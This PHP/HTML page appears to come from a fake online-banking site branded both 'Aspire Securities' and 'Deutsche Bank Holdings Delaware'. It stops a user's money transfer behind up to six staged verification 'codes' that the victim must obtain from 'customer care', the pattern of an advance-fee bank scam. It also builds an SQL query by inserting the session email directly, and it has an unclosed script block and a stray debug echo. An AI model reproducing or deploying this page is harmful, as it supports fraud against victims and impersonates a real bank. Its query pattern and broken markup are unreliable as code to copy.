<?php
    session_start();
    if( !isset($_SESSION['chap']) ){
        header("Location:../index.html#login-area");
        exit();
    }
    else{
        $chap = $_SESSION['chap'];
        include "../connect/db.php";
        $sql = mysqli_query($mysqli,"SELECT * FROM users WHERE email = '$chap' ");
        $row = mysqli_fetch_assoc($sql);
        if( $row['status'] == "suspended" ){
            header("Location:account.php");
            exit();
        }
        else if( $row['status'] == "terminated" ){
            header("Location:terminate.php");
            exit();
        }
    }


?>
<!DOCTYPE html>
<html lang="en-US" class="js">
    <head>
    <meta charset="utf-8">
    <meta name="author" content="Smart">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Aspire Securities is a trademark of Aspire Financial Corporation. Aspire Securities is a trade name for the corporate and investment banking services of Aspire Financial Corporation and its subsidiaries. All rights reserved. Securities and strategic advisory services are provided by Aspire Securities, Inc., member FINRA, link opens in new tab and SIPC, link opens in new tab. Lending, financial risk management, and treasury management and payment services are offered by Aspire Bank. Deposit products are offered by Aspire Bank.">
    <!-- Fav Icon  -->
    <link rel="shortcut icon" href="../images/favicon.png">
    <!-- Page Title  -->
    <title><?=$row['firstname']?> <?=$row['middlename']?> <?=$row['lastname']?>  |  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>   Online banking</title>
    <!-- StyleSheets  -->
    <link rel="stylesheet" href="../scss/sweetalert.css">
    <link rel="stylesheet" href="assets/css/dashlite.css?ver=2.4.0">
    <link id="skin-default" rel="stylesheet" href="assets/css/theme.css?ver=2.4.0">
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
     <link href="../css/toastr.css" rel="stylesheet"/>
   </head>
    <link rel="stylesheet" href="https://www.jqueryscript.net/demo/jQuery-International-Telephone-Input-With-Flags-Dial-Codes/build/css/intlTelInput.css">
   <script type="text/javascript">
function googleTranslateElementInit() {
  new google.translate.TranslateElement({pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE}, 'google_translate_element');
}
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
    <style>
.goog-te-gadget-simple {
border:none;
}
.goog-te-gadget-simple a {
color:#000;
}
</style>
<style type="text/css">
    .btn-primary{
        background-color: #033d75;
    }
    .btn-secondary{
        background-color: #d13636;
    }
    .btn-secondary:hover{opacity: 0.6;}
    .btn-primary:hover{opacity: 0.6;}
</style>
<body class="nk-body npc-crypto bg-white has-sidebar ">
    <div class="nk-app-root">
        <!-- main @s -->
        <div class="nk-main ">
            <!-- sidebar @s -->
            <div class="nk-sidebar nk-sidebar-fixed " data-content="sidebarMenu">
                <div class="nk-sidebar-element nk-sidebar-head"  style="border-bottom: solid #fe473a;">
                    <div class="nk-sidebar-brand" >
                        <a href="dashboard" class="logo-link nk-sidebar-logo">
                            <img class="logo-light logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo">
                            <img class="logo-dark logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo-dark">
                            
                        </a>
                    </div>
                    <div class="nk-menu-trigger mr-n2">
                        <a href="#" class="nk-nav-toggle nk-quick-nav-icon d-xl-none" data-target="sidebarMenu"><em class="icon ni ni-arrow-left"></em></a>
                    </div>
                </div><!-- .nk-sidebar-element -->
                <?php include 'includes/sidebar.php'; ?>

















































































<style>
    body.dark-mode {
        background-color: #101924;
        color: #d5d7db;
    }
</style>

<script>
    document.addEventListener('DOMContentLoaded', function() {
    var fileName = window.location.pathname.split("/").pop(); // Get the current page filename
    var _self_link = "some-criteria"; // Replace with your criteria for checking

    // Select all menu items
    var menuItems = document.querySelectorAll('.nk-menu-item');

    menuItems.forEach(function(menuItem) {
        var self = menuItem.querySelector('.nk-menu-link');

        if (self) {
            if (fileName.match(_self_link)) {
                // Check if it's the first menu item
                if (menuItem === menuItems[0]) {
                    // Do not expand the first menu item
                    menuItem.classList.remove('active', 'current-page');
                    menuItem.querySelector('.nk-menu-sub').style.display = 'none';
                } else {
                    // Expand other menu items based on the current page
                    menuItem.classList.add('active', 'current-page');
                    menuItem.querySelector('.nk-menu-sub').style.display = 'block';
                }
            } else {
                // Collapse non-active menu items
                menuItem.classList.remove('active', 'current-page');
                menuItem.querySelector('.nk-menu-sub').style.display = 'none';
            }
        }
    });
});
            <!-- wrap @s -->
            <div class="nk-wrap ">
                <!-- main header @s -->

































































<h4 class="primary-btn"><a href="dashboard.php"> Return to homepage</a></h4>




<div class="nk-content">
       

<iframe             src="//www.exchangerates.org.uk/widget/ER-LRTICKER.php?w=1400&amp;s=1&amp;mc=GBP&amp;mbg=F0F0F0&amp;bs=yes&amp;bc=000044&amp;f=verdana&amp;fs=10px&amp;fc=000044&amp;lc=000044&amp;lhc=FE9A00&amp;vc=FE9A00&amp;vcu=008000&amp;vcd=FF0000&amp;"             height="30" width="100%" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>              <div class="container-xl wide-lg">
                    




<?php
if ($row['code_level'] == "nothing") {
    echo '<script type="text/javascript">
             window.location.href = "transfer_successful.php";
          </script>';
    exit(); // Ensure script stops after the redirect
}        
            
            
            
 if( $row['code_level'] == "code1" ) {
$code = $row['code_name1'];
$stage = "1";

 }
else if( $row['code_level'] == "code2" ) {
  $code = $row['code_name2'];

    $stage = "2";
     }
     else if( $row['code_level'] == "code3" ) {
  $code = $row['code_name3'];

    $stage = "3";
     }
     else if( $row['code_level'] == "code4" ) {
  $code = $row['code_name4'];

    $stage = "4";
     }
     else if( $row['code_level'] == "code5" ) {
  $code = $row['code_name5'];

    $stage = "5";
     }
 
     else {

$code = $row['code_name6'];

        $stage = "6";

         }


?>

<?php
// The original string
$string = $code;

// Split the string into an array of words
$words = explode(' ', $string);

// Initialize an array to hold the initials
$initials = [];

// Loop through each word and take the first letter
foreach ($words as $word) {
    $initials[] = $word[0];
}

// Join the initials with a dot separator
$initialsString = implode('.', $initials);

// Echo the result
echo $initialsString; // Output: F.S.T
?>





































<div class="nk-content-body">
                            <div class="buysell wide-xs m-auto">
                                <div class="buysell-title text-center">
                                    <h1 class="text-center text-danger display-1"><em class="icon ni ni-lock-alt-fill"></em></h1>
                                  <h2 class="title"><?=$code?>  is required.</h2>
                                </div><!-- .buysell-title -->
                                <div class="buysell-block">
                                    <form >
                                    
                                        <div class="BillOtpResult"></div>
                                        <div class="buysell-field form-group">
                                            <div class="form-label-group">
                                                <strong class="form-label text-danger text-left">
                                                The <?=$code?>  is required for this transaction to be completed successfully. You can visit any of our nearest branches or contact our online customer care representative with:  for more details of the <?=$initialsString?> code for this transaction. 
                                                </strong>
                                            </div>
                                        </div><!-- .buysell-field -->
                                        <div class="buysell-field form-group">
                                            <div class="">
                                                <label class="form-label font-weight-bold" for="">Enter <?=$initialsString?> Code:</label>
                                            </div>
                                            <form action="" method="post"><?= csrf_field() ?>
                                <div class="form-control-group"> 
                             <input type="text" placeholder="******"  class="form-control form-control-lg form-control-number" id="pin" name="pin"> 
                             <input type="hidden" class="form-control form-control-lg form-control-number" id="code" name="code"  value="<?=$stage?>"> 

                             <div class="form-dropdown"> 
                            <div class="text"><?=$initialsString?><span></span></div> 
                                    </div>
                               </div>
                                        <div class="">
                                            </div>
                                        </div></center>
                                        <div class="card card-bordered text-muted p-2">We have security measures in place to safeguard your money, because we are committed to providing you with a secure banking experience.</div>
                                        <div class="tacResult"></div>
                                        <div class="buysell-field form-action">
                                            <button type="submit" class="btn btn-lg btn-block btn-primary tacBtnnew" id="btn3">Verify</button>
                                        </div><!-- .buysell-field -->
                                    </form><!-- .buysell-form -->
                                </div><!-- .buysell-block -->
                            </div><!-- .buysell -->
                        </div>
                    </div>
                </div>




 <script>
$(document).ready(function() {
  $('.tacBtnnew').on('click', function(e) {
    e.preventDefault(); // Prevent the default form submission or button behavior

    var $this = $(this);
    var loadingText = '<i class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></i>&nbsp;Processing...';
    
    if ($this.html() !== loadingText) {
      $this.data('original-text', $this.html());
      $this.html(loadingText);
    }

    document.getElementById("btn3").disabled = true;

    var pin = $('#pin').val();
    var code = $('#code').val();

    $.ajax({
      type: "POST",
      url: "../apps/user/code.php",
      data: { "pin": pin , "code" : code},
      success: function(data) {
        document.getElementById("btn3").disabled = false;

        if (data.trim() === "success") {
          Swal.fire({
            icon: 'success',
            title: '<?=$code?> is correct',
            text: 'Please wait...',
            showConfirmButton: false,
            timer: 2000
          }).then(() => {
            location.reload();
                  });
        }
       else  if (data.trim() === "incorrect") {
        Swal.fire({
            icon: 'error',
            title: 'Incorrect Code',
            text: 'Please check the <?=$code?> and try again.',
            showConfirmButton: true
          });
          console.log(data);

        } else {
            Swal.fire({
          icon: 'error',
          title: 'Error',
          text: 'There was a problem with the request. Please try again later.',
          showConfirmButton: true
        });

        console.log(data);

        }
      },
      error: function() {
        document.getElementById("btn3").disabled = false;
        Swal.fire({
          icon: 'error',
          title: 'Error',
          text: 'There was a problem with the request. Please try again later.',
          showConfirmButton: true
        });
        console.log(data);
      }
    });
  });
});
</script>




























<div class="nk-footer nk-footer-fluid">
                    <div class="container-fluid">
                        <div class="nk-footer-wrap">
                            <div class="nk-footer-copyright"> &copy; <?php
echo date("Y");
?>  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>   - <a href="#">All rights reserved.</a>
                            </div>
                            <div class="nk-footer-links">
                                <ul class="nav nav-sm">
                                    <li class="nav-item"><a class="nav-link" href="#">Terms</a></li>
                                    <li class="nav-item"><a class="nav-link" href="privacy">Privacy</a></li>
                                    <li class="nav-item"><a class="nav-link" href="contact">Help</a></li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- footer @e -->
            </div>
            <!-- wrap @e -->
        </div>
        <!-- main @e -->
    </div>
    <!-- app-root @e -->
    <!-- JavaScript -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <script src="../js/country.js"></script>
    <script src="assets/js/bundle.js?ver=2.4.0"></script>
    <script src="assets/js/scripts.js?ver=2.4.0"></script>
    <script src="assets/js/charts/chart-crypto.js?ver=2.4.0"></script>
    <script src="../js/sweetalert.js"></script>
   <script src="assets/js/jquery.min.js"></script>
   <script src="assets/js/custom.js"></script>
   <script src="../js/toastr.js"></script>
   
</body>

</html>

